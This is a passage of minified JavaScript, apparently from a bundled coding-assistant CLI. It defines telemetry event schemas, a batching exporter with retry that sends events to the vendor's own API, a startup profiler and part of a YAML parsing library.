0)K.repository_id=A.repository_id;if(A.repository_owner_id!==void 0)K.repository_owner_id=A.repository_owner_id;return K},create(A){return P91.fromPartial(A??{})},fromPartial(A){let K=FG9();return K.actor_id=A.actor_id??"",K.repository_id=A.repository_id??"",K.repository_owner_id=A.repository_owner_id??"",K}};V91={fromJSON(A){return{platform:tK(A.platform)?globalThis.String(A.platform):"",node_version:tK(A.node_version)?globalThis.String(A.node_version):"",terminal:tK(A.terminal)?globalThis.String(A.terminal):"",package_managers:tK(A.package_managers)?globalThis.String(A.package_managers):"",runtimes:tK(A.runtimes)?globalThis.String(A.runtimes):"",is_running_with_bun:tK(A.is_running_with_bun)?globalThis.Boolean(A.is_running_with_bun):!1,is_ci:tK(A.is_ci)?globalThis.Boolean(A.is_ci):!1,is_claubbit:tK(A.is_claubbit)?globalThis.Boolean(A.is_claubbit):!1,is_github_action:tK(A.is_github_action)?globalThis.Boolean(A.is_github_action):!1,is_claude_code_action:tK(A.is_claude_code_action)?globalThis.Boolean(A.is_claude_code_action):!1,is_claude_ai_auth:tK(A.is_claude_ai_auth)?globalThis.Boolean(A.is_claude_ai_auth):!1,version:tK(A.version)?globalThis.String(A.version):"",github_event_name:tK(A.github_event_name)?globalThis.String(A.github_event_name):"",github_actions_runner_environment:tK(A.github_actions_runner_environment)?globalThis.String(A.github_actions_runner_environment):"",github_actions_runner_os:tK(A.github_actions_runner_os)?globalThis.String(A.github_actions_runner_os):"",github_action_ref:tK(A.github_action_ref)?globalThis.String(A.github_action_ref):"",wsl_version:tK(A.wsl_version)?globalThis.String(A.wsl_version):"",github_actions_metadata:tK(A.github_actions_metadata)?P91.fromJSON(A.github_actions_metadata):void 0,arch:tK(A.arch)?globalThis.String(A.arch):"",is_claude_code_remote:tK(A.is_claude_code_remote)?globalThis.Boolean(A.is_claude_code_remote):!1,remote_environment_type:tK(A.remote_environment_type)?globalThis.String(A.remote_environment_type):"",claude_code_container_id:tK(A.claude_code_container_id)?globalThis.String(A.claude_code_container_id):"",claude_code_remote_session_id:tK(A.claude_code_remote_session_id)?globalThis.String(A.claude_code_remote_session_id):"",tags:globalThis.Array.isArray(A?.tags)?A.tags.map((K)=>globalThis.String(K)):[],deployment_environment:tK(A.deployment_environment)?globalThis.String(A.deployment_environment):"",is_conductor:tK(A.is_conductor)?globalThis.Boolean(A.is_conductor):!1,version_base:tK(A.version_base)?globalThis.String(A.version_base):""}},toJSON(A){let K={};if(A.platform!==void 0)K.platform=A.platform;if(A.node_version!==void 0)K.node_version=A.node_version;if(A.terminal!==void 0)K.terminal=A.terminal;if(A.package_managers!==void 0)K.package_managers=A.package_managers;if(A.runtimes!==void 0)K.runtimes=A.runtimes;if(A.is_running_with_bun!==void 0)K.is_running_with_bun=A.is_running_with_bun;if(A.is_ci!==void 0)K.is_ci=A.is_ci;if(A.is_claubbit!==void 0)K.is_claubbit=A.is_claubbit;if(A.is_github_action!==void 0)K.is_github_action=A.is_github_action;if(A.is_claude_code_action!==void 0)K.is_claude_code_action=A.is_claude_code_action;if(A.is_claude_ai_auth!==void 0)K.is_claude_ai_auth=A.is_claude_ai_auth;if(A.version!==void 0)K.version=A.version;if(A.github_event_name!==void 0)K.github_event_name=A.github_event_name;if(A.github_actions_runner_environment!==void 0)K.github_actions_runner_environment=A.github_actions_runner_environment;if(A.github_actions_runner_os!==void 0)K.github_actions_runner_os=A.github_actions_runner_os;if(A.github_action_ref!==void 0)K.github_action_ref=A.github_action_ref;if(A.wsl_version!==void 0)K.wsl_version=A.wsl_version;if(A.github_actions_metadata!==void 0)K.github_actions_metadata=P91.toJSON(A.github_actions_metadata);if(A.arch!==void 0)K.arch=A.arch;if(A.is_claude_code_remote!==void 0)K.is_claude_code_remote=A.is_claude_code_remote;if(A.remote_environment_type!==void 0)K.remote_environment_type=A.remote_environment_type;if(A.claude_code_container_id!==void 0)K.claude_code_container_id=A.claude_code_container_id;if(A.claude_code_remote_session_id!==void 0)K.claude_code_remote_session_id=A.claude_code_remote_session_id;if(A.tags?.length)K.tags=A.tags;if(A.deployment_environment!==void 0)K.deployment_environment=A.deployment_environment;if(A.is_conductor!==void 0)K.is_conductor=A.is_conductor;if(A.version_base!==void 0)K.version_base=A.version_base;return K},create(A){return V91.fromPartial(A??{})},fromPartial(A){let K=QG9();return K.platform=A.platform??"",K.node_version=A.node_version??"",K.terminal=A.terminal??"",K.package_managers=A.package_managers??"",K.runtimes=A.runtimes??"",K.is_running_with_bun=A.is_running_with_bun??!1,K.is_ci=A.is_ci??!1,K.is_claubbit=A.is_claubbit??!1,K.is_github_action=A.is_github_action??!1,K.is_claude_code_action=A.is_claude_code_action??!1,K.is_claude_ai_auth=A.is_claude_ai_auth??!1,K.version=A.version??"",K.github_event_name=A.github_event_name??"",K.github_actions_runner_environment=A.github_actions_runner_environment??"",K.github_actions_runner_os=A.github_actions_runner_os??"",K.github_action_ref=A.github_action_ref??"",K.wsl_version=A.wsl_version??"",K.github_actions_metadata=A.github_actions_metadata!==void 0&&A.github_actions_metadata!==null?P91.fromPartial(A.github_actions_metadata):void 0,K.arch=A.arch??"",K.is_claude_code_remote=A.is_claude_code_remote??!1,K.remote_environment_type=A.remote_environment_type??"",K.claude_code_container_id=A.claude_code_container_id??"",K.claude_code_remote_session_id=A.claude_code_remote_session_id??"",K.tags=A.tags?.map((q)=>q)||[],K.deployment_environment=A.deployment_environment??"",K.is_conductor=A.is_conductor??!1,K.version_base=A.version_base??"",K}};f91={fromJSON(A){return{event_name:tK(A.event_name)?globalThis.String(A.event_name):"",client_timestamp:tK(A.client_timestamp)?yy4(A.client_timestamp):void 0,model:tK(A.model)?globalThis.String(A.model):"",session_id:tK(A.session_id)?globalThis.String(A.session_id):"",user_type:tK(A.user_type)?globalThis.String(A.user_type):"",betas:tK(A.betas)?globalThis.String(A.betas):"",env:tK(A.env)?V91.fromJSON(A.env):void 0,entrypoint:tK(A.entrypoint)?globalThis.String(A.entrypoint):"",agent_sdk_version:tK(A.agent_sdk_version)?globalThis.String(A.agent_sdk_version):"",is_interactive:tK(A.is_interactive)?globalThis.Boolean(A.is_interactive):!1,client_type:tK(A.client_type)?globalThis.String(A.client_type):"",process:tK(A.process)?globalThis.String(A.process):"",additional_metadata:tK(A.additional_metadata)?globalThis.String(A.additional_metadata):"",auth:tK(A.auth)?cQ.fromJSON(A.auth):void 0,server_timestamp:tK(A.server_timestamp)?yy4(A.server_timestamp):void 0,event_id:tK(A.event_id)?globalThis.String(A.event_id):"",device_id:tK(A.device_id)?globalThis.String(A.device_id):"",swe_bench_run_id:tK(A.swe_bench_run_id)?globalThis.String(A.swe_bench_run_id):"",swe_bench_instance_id:tK(A.swe_bench_instance_id)?globalThis.String(A.swe_bench_instance_id):"",swe_bench_task_id:tK(A.swe_bench_task_id)?globalThis.String(A.swe_bench_task_id):"",email:tK(A.email)?globalThis.String(A.email):"",agent_id:tK(A.agent_id)?globalThis.String(A.agent_id):"",parent_session_id:tK(A.parent_session_id)?globalThis.String(A.parent_session_id):"",agent_type:tK(A.agent_type)?globalThis.String(A.agent_type):""}},toJSON(A){let K={};if(A.event_name!==void 0)K.event_name=A.event_name;if(A.client_timestamp!==void 0)K.client_timestamp=A.client_timestamp.toISOString();if(A.model!==void 0)K.model=A.model;if(A.session_id!==void 0)K.session_id=A.session_id;if(A.user_type!==void 0)K.user_type=A.user_type;if(A.betas!==void 0)K.betas=A.betas;if(A.env!==void 0)K.env=V91.toJSON(A.env);if(A.entrypoint!==void 0)K.entrypoint=A.entrypoint;if(A.agent_sdk_version!==void 0)K.agent_sdk_version=A.agent_sdk_version;if(A.is_interactive!==void 0)K.is_interactive=A.is_interactive;if(A.client_type!==void 0)K.client_type=A.client_type;if(A.process!==void 0)K.process=A.process;if(A.additional_metadata!==void 0)K.additional_metadata=A.additional_metadata;if(A.auth!==void 0)K.auth=cQ.toJSON(A.auth);if(A.server_timestamp!==void 0)K.server_timestamp=A.server_timestamp.toISOString();if(A.event_id!==void 0)K.event_id=A.event_id;if(A.device_id!==void 0)K.device_id=A.device_id;if(A.swe_bench_run_id!==void 0)K.swe_bench_run_id=A.swe_bench_run_id;if(A.swe_bench_instance_id!==void 0)K.swe_bench_instance_id=A.swe_bench_instance_id;if(A.swe_bench_task_id!==void 0)K.swe_bench_task_id=A.swe_bench_task_id;if(A.email!==void 0)K.email=A.email;if(A.agent_id!==void 0)K.agent_id=A.agent_id;if(A.parent_session_id!==void 0)K.parent_session_id=A.parent_session_id;if(A.agent_type!==void 0)K.agent_type=A.agent_type;return K},create(A){return f91.fromPartial(A??{})},fromPartial(A){let K=UG9();return K.event_name=A.event_name??"",K.client_timestamp=A.client_timestamp??void 0,K.model=A.model??"",K.session_id=A.session_id??"",K.user_type=A.user_type??"",K.betas=A.betas??"",K.env=A.env!==void 0&&A.env!==null?V91.fromPartial(A.env):void 0,K.entrypoint=A.entrypoint??"",K.agent_sdk_version=A.agent_sdk_version??"",K.is_interactive=A.is_interactive??!1,K.client_type=A.client_type??"",K.process=A.process??"",K.additional_metadata=A.additional_metadata??"",K.auth=A.auth!==void 0&&A.auth!==null?cQ.fromPartial(A.auth):void 0,K.server_timestamp=A.server_timestamp??void 0,K.event_id=A.event_id??"",K.device_id=A.device_id??"",K.swe_bench_run_id=A.swe_bench_run_id??"",K.swe_bench_instance_id=A.swe_bench_instance_id??"",K.swe_bench_task_id=A.swe_bench_task_id??"",K.email=A.email??"",K.agent_id=A.agent_id??"",K.parent_session_id=A.parent_session_id??"",K.agent_type=A.agent_type??"",K}}});function dG9(){return{event_id:"",timestamp:void 0,experiment_id:"",variation_id:0,environment:"",user_attributes:"",experiment_metadata:"",device_id:"",auth:void 0,session_id:"",event_metadata_vars:""}}function cG9(A){let K=(A.seconds||0)*1000;return K+=(A.nanos||0)/1e6,new globalThis.Date(K)}function lG9(A){if(A instanceof globalThis.Date)return A;else if(typeof A==="string")return new globalThis.Date(A);else return cG9(hIA.fromJSON(A))}function By(A){return A!==null&&A!==void 0}var g36;var Sy4=k(()=>{u36();m36();g36={fromJSON(A){return{event_id:By(A.event_id)?globalThis.String(A.event_id):"",timestamp:By(A.timestamp)?lG9(A.timestamp):void 0,experiment_id:By(A.experiment_id)?globalThis.String(A.experiment_id):"",variation_id:By(A.variation_id)?globalThis.Number(A.variation_id):0,environment:By(A.environment)?globalThis.String(A.environment):"",user_attributes:By(A.user_attributes)?globalThis.String(A.user_attributes):"",experiment_metadata:By(A.experiment_metadata)?globalThis.String(A.experiment_metadata):"",device_id:By(A.device_id)?globalThis.String(A.device_id):"",auth:By(A.auth)?cQ.fromJSON(A.auth):void 0,session_id:By(A.session_id)?globalThis.String(A.session_id):"",event_metadata_vars:By(A.event_metadata_vars)?globalThis.String(A.event_metadata_vars):""}},toJSON(A){let K={};if(A.event_id!==void 0)K.event_id=A.event_id;if(A.timestamp!==void 0)K.timestamp=A.timestamp.toISOString();if(A.experiment_id!==void 0)K.experiment_id=A.experiment_id;if(A.variation_id!==void 0)K.variation_id=Math.round(A.variation_id);if(A.environment!==void 0)K.environment=A.environment;if(A.user_attributes!==void 0)K.user_attributes=A.user_attributes;if(A.experiment_metadata!==void 0)K.experiment_metadata=A.experiment_metadata;if(A.device_id!==void 0)K.device_id=A.device_id;if(A.auth!==void 0)K.auth=cQ.toJSON(A.auth);if(A.session_id!==void 0)K.session_id=A.session_id;if(A.event_metadata_vars!==void 0)K.event_metadata_vars=A.event_metadata_vars;return K},create(A){return g36.fromPartial(A??{})},fromPartial(A){let K=dG9();return K.event_id=A.event_id??"",K.timestamp=A.timestamp??void 0,K.experiment_id=A.experiment_id??"",K.variation_id=A.variation_id??0,K.environment=A.environment??"",K.user_attributes=A.user_attributes??"",K.experiment_metadata=A.experiment_metadata??"",K.device_id=A.device_id??"",K.auth=A.auth!==void 0&&A.auth!==null?cQ.fromPartial(A.auth):void 0,K.session_id=A.session_id??"",K.event_metadata_vars=A.event_metadata_vars??"",K}}});import{randomUUID as iG9}from"crypto";import{existsSync as nG9}from"fs";import{readFile as rG9,writeFile as oG9,appendFile as aG9,unlink as hy4,readdir as sG9,mkdir as by4}from"fs/promises";import*as N91 from"path";function Y$A(){return N91.join(w8(),"telemetry")}class F36{endpoint;timeout;maxBatchSize;batchDelayMs;baseBackoffDelayMs;maxBackoffDelayMs;pendingExports=[];isShutdown=!1;backoffRetryTimer=null;backoffAttempt=0;isRetrying=!1;lastExportErrorContext;constructor(A={}){let K=process.env.ANTHROPIC_BASE_URL==="https://api-staging.anthropic.com"?"https://api-staging.anthropic.com":"https://api.anthropic.com";this.endpoint=`${K}/api/event_logging/batch`,this.timeout=A.timeout||1e4,this.maxBatchSize=A.maxBatchSize||200,this.batchDelayMs=A.batchDelayMs||100,this.baseBackoffDelayMs=A.baseBackoffDelayMs||500,this.maxBackoffDelayMs=A.maxBackoffDelayMs||30000,this.retryPreviousBatches()}async getQueuedEventCount(){return(await this.loadEventsFromCurrentBatch()).length}getCurrentBatchFilePath(){return N91.join(Y$A(),`${uy4}${d1()}.${xy4}.json`)}async loadEventsFromFile(A){try{let K=await rG9(A);return I1A(K)}catch{return[]}}async loadEventsFromCurrentBatch(){return this.loadEventsFromFile(this.getCurrentBatchFilePath())}async saveEventsToFile(A,K){try{if(K.length===0)try{await hy4(A)}catch{}else{await by4(Y$A(),{recursive:!0});let q=K.map((Y)=>UA(Y)).join(` `)+` `;await oG9(A,q,"utf8")}}catch(q){KA(q)}}async appendEventsToFile(A,K){if(K.length===0)return;try{await by4(Y$A(),{recursive:!0});let q=K.map((Y)=>UA(Y)).join(` `)+` `;await aG9(A,q,"utf8")}catch(q){KA(q)}}async deleteFile(A){try{await hy4(A)}catch{}}async retryPreviousBatches(){try{if(!nG9(Y$A()))return;let A=`${uy4}${d1()}.`,K=(await sG9(Y$A())).filter((q)=>q.startsWith(A)&&q.endsWith(".json")).filter((q)=>!q.includes(xy4));for(let q of K){let Y=N91.join(Y$A(),q);this.retryFileInBackground(Y)}}catch(A){KA(A)}}async retryFileInBackground(A){let K=await this.loadEventsFromFile(A);if(K.length===0){await this.deleteFile(A);return}let q=await this.sendEventsInBatches(K);if(q.length===0)await this.deleteFile(A);else await this.saveEventsToFile(A,q)}async export(A,K){if(this.isShutdown){K({code:o4A.ExportResultCode.FAILED,error:Error("Exporter has been shutdown")});return}let q=this.doExport(A,K);this.pendingExports.push(q),q.finally(()=>{let Y=this.pendingExports.indexOf(q);if(Y>-1)this.pendingExports.splice(Y,1)})}async doExport(A,K){try{let q=A.filter((w)=>w.instrumentationScope?.name==="com.anthropic.claude_code.events");if(q.length===0){K({code:o4A.ExportResultCode.SUCCESS});return}let Y=this.transformLogsToEvents(q).events;if(Y.length===0){K({code:o4A.ExportResultCode.SUCCESS});return}let z=await this.sendEventsInBatches(Y);if(z.length>0){await this.queueFailedEvents(z),this.scheduleBackoffRetry();let w=this.lastExportErrorContext?` (${this.lastExportErrorContext})`:"";K({code:o4A.ExportResultCode.FAILED,error:Error(`Failed to export ${z.length} events${w}`)});return}if(this.resetBackoff(),await this.getQueuedEventCount()>0&&!this.isRetrying)this.retryFailedEvents();K({code:o4A.ExportResultCode.SUCCESS})}catch(q){KA(q),K({code:o4A.ExportResultCode.FAILED,error:q instanceof Error?q:Error("Unknown export error")})}}async sendEventsInBatches(A){let K=[];for(let z=0;z<A.length;z+=this.maxBatchSize)K.push(A.slice(z,z+this.maxBatchSize));let q=[],Y;for(let z=0;z<K.length;z++){let w=K[z];try{await this.sendBatchWithRetry({events:w})}catch(H){q.push(...w),Y=tG9(H)}if(z<K.length-1&&this.batchDelayMs>0)await new Promise((H)=>setTimeout(H,this.batchDelayMs))}if(q.length>0&&Y)this.lastExportErrorContext=Y;return q}async queueFailedEvents(A){let K=this.getCurrentBatchFilePath();await this.appendEventsToFile(K,A);let q=this.lastExportErrorContext?` (${this.lastExportErrorContext})`:"",Y=`1P event logging: ${A.length} events failed to export${q}`;KA(Error(Y))}scheduleBackoffRetry(){if(this.backoffRetryTimer||this.isRetrying||this.isShutdown)return;let A=this.backoffAttempt+1,K=Math.min(this.baseBackoffDelayMs*A*A,this.maxBackoffDelayMs);this.backoffRetryTimer=setTimeout(()=>{this.backoffRetryTimer=null,this.retryFailedEvents()},K)}async retryFailedEvents(){let A=this.getCurrentBatchFilePath();while(!this.isShutdown){let K=await this.loadEventsFromFile(A);if(K.length===0)break;this.isRetrying=!0,this.backoffAttempt++,await this.deleteFile(A);let q=await this.sendEventsInBatches(K);if(this.isRetrying=!1,q.length>0){await this.saveEventsToFile(A,q),this.scheduleBackoffRetry();return}this.resetBackoff()}}resetBackoff(){if(this.backoffAttempt=0,this.backoffRetryTimer)clearTimeout(this.backoffRetryTimer),this.backoffRetryTimer=null}async sendBatchWithRetry(A){let K={"Content-Type":"application/json","User-Agent":uH(),"x-service-name":"claude-code"},Y=!(Dw(!0)||b7());if(!Y&&Z4()){let J=LK();if(J&&dQ(J.expiresAt))Y=!0}let z=Y?{headers:{},error:"trust not established or Oauth token expired"}:BH(),w=!z.error,H=w?{...K,...z.headers}:K;try{let J=await A8.post(this.endpoint,A,{timeout:this.timeout,headers:H});this.logSuccess(A.events.length,w,J.data);return}catch(J){if(w&&A8.isAxiosError(J)&&J.response?.status===401){let O=await A8.post(this.endpoint,A,{timeout:this.timeout,headers:K});this.logSuccess(A.events.length,!1,O.data);return}throw J}}logSuccess(A,K,q){}hrTimeToDate(A){let[K,q]=A;return new Date(K*1000+q/1e6)}transformLogsToEvents(A){let K=[];for(let q of A){let Y=q.attributes||{};if(Y.event_type==="GrowthbookExperimentEvent"){let $=this.hrTimeToDate(q.hrTime);K.push({event_type:"GrowthbookExperimentEvent",event_data:g36.toJSON({event_id:Y.event_id,timestamp:$,experiment_id:Y.experiment_id,variation_id:Y.variation_id,environment:Y.environment,user_attributes:Y.user_attributes,experiment_metadata:Y.experiment_metadata,device_id:Y.device_id})});continue}let z=Y.event_name||q.body||"unknown",w=Y.core_metadata,H=Y.user_metadata,J=Y.event_metadata||{};if(!w){K.push({event_type:"ClaudeCodeInternalEvent",event_data:f91.toJSON({event_id:Y.event_id,event_name:z,client_timestamp:this.hrTimeToDate(q.hrTime),session_id:d1(),additional_metadata:UA({transform_error:"core_metadata attribute is missing"})})});continue}let O=Ly4(w,H,J),X={...O.additional};K.push({event_type:"ClaudeCodeInternalEvent",event_data:f91.toJSON({event_id:Y.event_id,event_name:z,client_timestamp:this.hrTimeToDate(q.hrTime),device_id:Y.user_id,email:H?.email,...O.core,env:O.env,process:O.process,additional_metadata:Object.keys(X).length>0?UA(X):void 0})})}return{events:K}}async shutdown(){this.isShutdown=!0,this.resetBackoff(),await this.forceFlush()}async forceFlush(){await Promise.all(this.pendingExports)}}function tG9(A){if(!A8.isAxiosError(A))return A instanceof Error?A.message:String(A);let K=[],q=A.response?.headers?.["request-id"];if(q)K.push(`request-id=${q}`);if(A.response?.status)K.push(`status=${A.response.status}`);if(A.code)K.push(`code=${A.code}`);if(A.message)K.push(A.message);return K.join(", ")}var o4A,xy4,uy4="1p_failed_events.";var By4=k(()=>{n3();Z1();C1();Xw();JG();x4();LT();sO();q6();i6();Iy4();Sy4();l6();b1();o4A=o(P9(),1),xy4=iG9()});import{join as eG9,dirname as AZ9}from"path";function p36(){if(!Q36)Q36=CA("perf_hooks").performance;return Q36}function wK(A){if(!Qy4)return;if(p36().mark(A),T91)Uy4.set(A,process.memoryUsage())}function U36(A){return A.toFixed(3)}function my4(A){return(A/1024/1024).toFixed(2)}function gy4(){if(!T91)return"Startup profiling not enabled";let K=p36().getEntriesByType("mark");if(K.length===0)return"No profiling checkpoints recorded";let q=[];q.push("=".repeat(80)),q.push("STARTUP PROFILING REPORT"),q.push("=".repeat(80)),q.push("");let Y=0;for(let H of K){let J=U36(H.startTime),O=U36(H.startTime-Y),X=Uy4.get(H.name),$=X?` | RSS: ${my4(X.rss)}MB, Heap: ${my4(X.heapUsed)}MB`:"";q.push(`[+${J.padStart(8)}ms] (+${O.padStart(7)}ms) ${H.name}${$}`),Y=H.startTime}let z=K[K.length-1],w=U36(z?.startTime??0);return q.push(""),q.push(`Total startup time: ${w}ms`),q.push("=".repeat(80)),q.join(` `)}function py4(){if(zZ9(),T91){let A=YZ9(),K=AZ9(A),q=BA();if(!q.existsSync(K))q.mkdirSync(K);x8(A,gy4(),{encoding:"utf8",flush:!0}),h("Startup profiling report:"),h(gy4())}}function YZ9(){return eG9(w8(),"startup-perf",`${d1()}.txt`)}function zZ9(){if(!Fy4)return;let K=p36().getEntriesByType("mark");if(K.length===0)return;let q=new Map;for(let z of K)q.set(z.name,z.startTime);let Y={};for(let[z,[w,H]]of Object.entries(qZ9)){let J=q.get(w),O=q.get(H);if(J!==void 0&&O!==void 0)Y[`${z}_ms`]=Math.round(O-J)}Y.checkpoint_count=K.length,n("tengu_startup_perf",Y)}var T91,KZ9=0.005,Fy4,Qy4,Uy4,Q36=null,qZ9;var a4A=k(()=>{Z1();l1();l6();q6();e6();b1();T91=process.env.CLAUDE_CODE_PROFILE_STARTUP==="1",Fy4=Math.random()<KZ9,Qy4=T91||Fy4,Uy4=new Map;qZ9={import_time:["cli_entry","main_tsx_imports_loaded"],init_time:["init_function_start","init_function_end"],settings_time:["eagerLoadSettings_start","eagerLoadSettings_end"],total_time:["cli_entry","main_after_run"]};if(Qy4)wK("profiler_initialized")});import{randomUUID as dy4}from"crypto";function HZ9(){return s4A(wZ9,{})}function d36(A){let q=HZ9()[A];if(!q)return null;let Y=q.sample_rate;if(typeof Y!=="number"||Y<0||Y>1)return null;if(Y>=1)return null;if(Y<=0)return 0;return Math.random()<Y?Y:0}async function c36(){if(!z$A)return;try{await z$A.shutdown()}catch{}}function xIA(){return!K$()}async function JZ9(A,K,q={}){try{let Y=await yr({model:q.model}),z={event_name:K,event_id:dy4(),core_metadata:Y,user_metadata:Ir(!0),event_metadata:q},w=my();if(w)z.user_id=w;A.emit({body:K,attributes:z})}catch(Y){}}function l36(A,K={}){if(!xIA())return;if(!bIA)return;JZ9(bIA,A,K)}function OZ9(){return"production"}function ly4(A){if(!xIA())return;if(!bIA)return;let K=my(),q={event_type:"GrowthbookExperimentEvent",event_id:dy4(),experiment_id:A.experimentId,variation_id:A.variationId,...K&&{device_id:K},...A.userAttributes&&{session_id:A.userAttributes.sessionId,user_attributes:UA(A.userAttributes)},...A.experimentMetadata&&{experiment_metadata:UA(A.experimentMetadata)},environment:OZ9()};bIA.emit({body:"growthbook_experiment",attributes:q})}function iy4(){if(wK("1p_event_logging_start"),!xIA())return;let K=s4A("tengu_1p_event_batch_config",{});wK("1p_event_after_growthbook_config");let q=K.scheduledDelayMillis||parseInt(process.env.OTEL_LOGS_EXPORT_INTERVAL||XZ9.toString()),Y=K.maxExportBatchSize||$Z9,z=K.maxQueueSize||_Z9,w=o6(),H={[E91.ATTR_SERVICE_NAME]:"claude-code",[E91.ATTR_SERVICE_VERSION]:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION};if(w==="wsl"){let X=h1A();if(X)H["wsl.version"]=X}let J=cy4.resourceFromAttributes(H),O=new F36({maxBatchSize:Y});z$A=new v91.LoggerProvider({resource:J,processors:[new v91.BatchLogRecordProcessor(O,{scheduledDelayMillis:q,maxExportBatchSize:Y,maxQueueSize:z})]}),bIA=z$A.getLogger("com.anthropic.claude_code.events",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION),kK(async()=>{await z$A?.forceFlush()}),process.on("beforeExit",async()=>{await z$A?.forceFlush()})}var v91,cy4,E91,wZ9="tengu_event_sampling_config",bIA=null,z$A=null,XZ9=5000,$Z9=200,_Z9=8192;var uIA=k(()=>{i6();BQ();B7();By4();B5();R2();sO();Z1();a4A();C1();kx();b1();v91=o(v36(),1),cy4=o(eXA(),1),E91=o(Q4A(),1)});var WY=v((VZ9)=>{var i36=Symbol.for("yaml.alias"),ny4=Symbol.for("yaml.document"),k91=Symbol.for("yaml.map"),ry4=Symbol.for("yaml.pair"),n36=Symbol.for("yaml.scalar"),C91=Symbol.for("yaml.seq"),lQ=Symbol.for("yaml.node.type"),GZ9=(A)=>!!A&&typeof A==="object"&&A[lQ]===i36,ZZ9=(A)=>!!A&&typeof A==="object"&&A[lQ]===ny4,WZ9=(A)=>!!A&&typeof A==="object"&&A[lQ]===k91,DZ9=(A)=>!!A&&typeof A==="object"&&A[lQ]===ry4,oy4=(A)=>!!A&&typeof A==="object"&&A[lQ]===n36,jZ9=(A)=>!!A&&typeof A==="object"&&A[lQ]===C91;function ay4(A){if(A&&typeof A==="object")switch(A[lQ]){case k91:case C91:return!0}return!1}function MZ9(A){if(A&&typeof A==="object")switch(A[lQ]){case i36:case k91:case n36:case C91:return!0}return!1}var PZ9=(A)=>(oy4(A)||ay4(A))&&!!A.anchor;VZ9.ALIAS=i36;VZ9.DOC=ny4;VZ9.MAP=k91;VZ9.NODE_TYPE=lQ;VZ9.PAIR=ry4;VZ9.SCALAR=n36;VZ9.SEQ=C91;VZ9.hasAnchor=PZ9;VZ9.isAlias=GZ9;VZ9.isCollection=ay4;VZ9.isDocument=ZZ9;VZ9.isMap=WZ9;VZ9.isNode=MZ9;VZ9.isPair=DZ9;VZ9.isScalar=oy4;VZ9.isSeq=jZ9});var BIA=v((BZ9)=>{var H_=WY(),UV=Symbol("break visit"),sy4=Symbol("skip children"),Qx=Symbol("remove node");function L91(A,K){let q=ty4(K);if(H_.isDocument(A)){if(w$A(null,A.contents,q,Object.freeze([A]))===Qx)A.contents=null}else w$A(null,A,q,Object.freeze([]))}L91.BREAK=UV;L91.SKIP=sy4;L91.REMOVE=Qx;function w$A(A,K,q,Y){let z=ey4(A,K,q,Y);if(H_.isNode(z)||H_.isPair(z))return AI4(A,Y,z),w$A(A,z,q,Y);if(typeof z!=="symbol"){if(H_.isCollection(K)){Y=Object.freeze(Y.concat(K));for(let w=0;w<K.items.length;++w){let H=w$A(w,K.items[w],q,Y);if(typeof H==="number")w=H-1;else if(H===UV)return UV;else if(H===Qx)K.items.splice(w,1),w-=1}}else if(H_.isPair(K)){Y=Object.freeze(Y.concat(K));let w=w$A("key",K.key,q,Y);if(w===UV)return UV;else if(w===Qx)K.key=null;let H=w$A("value",K.value,q,Y);if(H===UV)return UV;else if(H===Qx)K.value=null}}return z}async function R91(A,K){let q=ty4(K);if(H_.isDocument(A)){if(await H$A(null,A.contents,q,Object.freeze([A]))===Qx)A.contents=null}else await H$A(null,A,q,Object.freeze([]))}R91.BREAK=UV;R91.SKIP=sy4;R91.REMOVE=Qx;async function H$A(A,K,q,Y){let z=await ey4(A,K,q,Y);if(H_.isNode(z)||H_.isPair(z))return AI4(A,Y,z),H$A(A,z,q,Y);if(typeof z!=="symbol"){if(H_.isCollection(K)){Y=Object.freeze(Y.concat(K));for(let w=0;w<K.items.length;++w){let H=await H$A(w,K.items[w],q,Y);if(typeof H==="number")w=H-1;else if(H===UV)return UV;else if(H===Qx)K.items.splice(w,1),w-=1}}else if(H_.isPair(K)){Y=Object.freeze(Y.concat(K));let w=await H$A("key",K.key,q,Y);if(w===UV)return UV;else if(w===Qx)K.key=null;let H=await H$A("value",K.value,q,Y);if(H===UV)return UV;else if(H===Qx)K.value=null}}return z}function ty4(A){if(typeof A==="object"&&(A.Collection||A.Node||A.Value))return Object.assign({Alias:A.Node,Map:A.Node,Scalar:A.Node,Seq:A.Node},A.Value&&{Map:A.Value,Scalar:A.Value,Seq:A.Value},A.Collection&&{Map:A.Collection,Seq:A.Collection},A);return A}function ey4(A,K,q,Y){if(typeof q==="function")return q(A,K,Y);if(H_.isMap(K))return q.Map?.(A,K,Y);if(H_.isSeq(K))return q.Seq?.(A,K,Y);if(H_.isPair(K))return q.Pair?.(A,K,Y);if(H_.isScalar(K))return q.Scalar?.(A,K,Y);if(H_.isAlias(K))return q.Alias?.(A,K,Y);return}function AI4(A,K,q){let Y=K[K.length-1];if(H_.isCollection(Y))Y.items[A]=q;else if(H_.isPair(Y))if(A==="key")Y.key=q;else Y.value=q;else if(H_.isDocument(Y))Y.contents=q;else{let z=H_.isAlias(Y)?"alias":"scalar";throw Error(`Cannot replace node with ${z} parent`)}}BZ9.visit=L91;BZ9.visitAsync=R91});var r36=v((pZ9)=>{var KI4=WY(),FZ9=BIA(),QZ9={"!":"%21",",":"%2C","[":"%5B","]":"%5D","{":"%7B","}":"%7D"},UZ9=(A)=>A.replace(/[!,[\]{}]/g,(K)=>QZ9[K]);class sk{constructor(A,K){this.docStart=null,this.docEnd=!1,this.yaml=Object.assign({},sk.defaultYaml,A),this.tags=Object.assign({},sk.defaultTags,K)}clone(){let A=new sk(this.yaml,this.tags);return A.docStart=this.docStart,A}atDocument(){let A=new sk(this.yaml,this.tags);switch(this.yaml.version){case"1.1":this.atNextDocument=!0;break;case"1.2":this.atNextDocument=!1,this.yaml={explicit:sk.defaultYaml.explicit,version:"1.2"},this.tags=Object.assign({},sk.defaultTags);break}return A}add(A,K){if(this.atNextDocument)this.yaml={explicit:sk.defaultYaml.explicit,version:"1.1"},this.tags=Object.assign({},sk.defaultTags),this.atNextDocument=!1;let q=A.trim().split(/[ 